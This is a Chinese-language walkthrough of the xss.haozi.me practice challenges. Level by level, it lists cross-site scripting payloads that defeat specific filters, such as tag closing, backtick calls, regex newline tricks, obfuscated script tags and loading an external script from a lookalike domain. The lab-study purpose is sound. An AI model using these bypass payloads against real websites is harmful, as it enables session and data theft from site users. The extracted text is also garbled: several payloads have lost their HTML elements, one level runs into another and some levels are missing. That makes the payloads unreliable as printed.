xss.haozi.me通关教程
字数 1010 2025-08-11 17:40:10
XSS.haozi.me通关教程
0x00 基础注入
- 注入点:直接输入XSS payload
- 常规payload:
<script>alert(1)</script> - 成功条件:直接执行JavaScript弹窗
0x01 Textarea标签绕过
- 注入点位于
<textarea></textarea>标签中 - 解决方法1:闭合textarea标签
</textarea><script>alert(1)</script><textarea> - 解决方法2:利用error事件
</textarea><textarea>
0x02 输入框注入
- 注入点将值转化为字符串显示在输入框内
- 解决方法:闭合前面的双引号
">
0x03 特殊字符过滤
- 过滤内容:括号
()和方括号[] - 解决方法:使用反引号
`代替<script>alert`1`</script>
0x04 HTML编码绕过
- 过滤内容:括号、正括号和引号
- 解决方法:使用HTML编码
0x05 注释符绕过
- 注入点处于注释符之间
- 解决方法:使用替代注释语法
--!><script>alert(1)</script><!--
0x06 正则表达式绕过(换行)
- 过滤正则:
/auto|on.*=|>/ig - 解决方法:利用换行符绕过
type="image" src="" onerror=alert(1)
0x07 正则表达式绕过(不闭合标签)
- 过滤正则:
/<\/?[^>]+>/gi - 解决方法:不闭合标签
` - 解决方法1:添加空格
</style ><script>alert(1)</script><style> - 解决方法2:直接闭合
</style><script>alert(1)</script><style>
0x09 白名单URL绕过
- 要求:必须包含特定URL
- 解决方法1:在URL后添加payload
https://www.segmentfault.com1" onerror=alert(1) - 解决方法2:闭合引号后添加新标签
https://www.segmentfault.com"></script> - 解决方法2:利用域名大小写不敏感
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0C Script标签过滤
- 过滤内容:
script被替换为空 - 解决方法1:使用编码
- 解决方法2:畸形构造script标签
<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>
0x0D 斜杠和引号过滤
- 过滤内容:斜杠、单双引号
- 解决方法:使用JS注释
alert(1);-->
0x0E 特殊字符绕过
- 过滤内容:
<后追加下划线并将字母大写 - 解决方法:使用特殊字符
ſ(古英文)<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F HTML编码还原
- 特点:关键字被HTML编码但会被还原执行
- 解决方法:闭合并注释
'); alert(1); //
0x10 直接赋值
- 特点:无过滤
- 解决方法:直接赋值并注入
''; alert(1);
0x11 转义字符绕过
- 特点:字符被转义但转义后仍有效
- 解决方法:
"); alert(1); //
0x12 转义符转义
- 特点:双引号被转义
- 解决方法1:转义转义符
\"); alert(1); // - 解决方法2:闭合script标签
</script><script>alert(1)</script><script>
关键总结
- 理解注入点的上下文环境至关重要
- 多种闭合方式可以绕过特定过滤
- HTML编码和JS编码是有效的绕过手段
- 正则表达式过滤可以通过特殊构造绕过
- 外部资源引用是强大的绕过技术
- 大小写和特殊字符处理可以突破限制
- 注释和转义技巧在特定场景下非常有效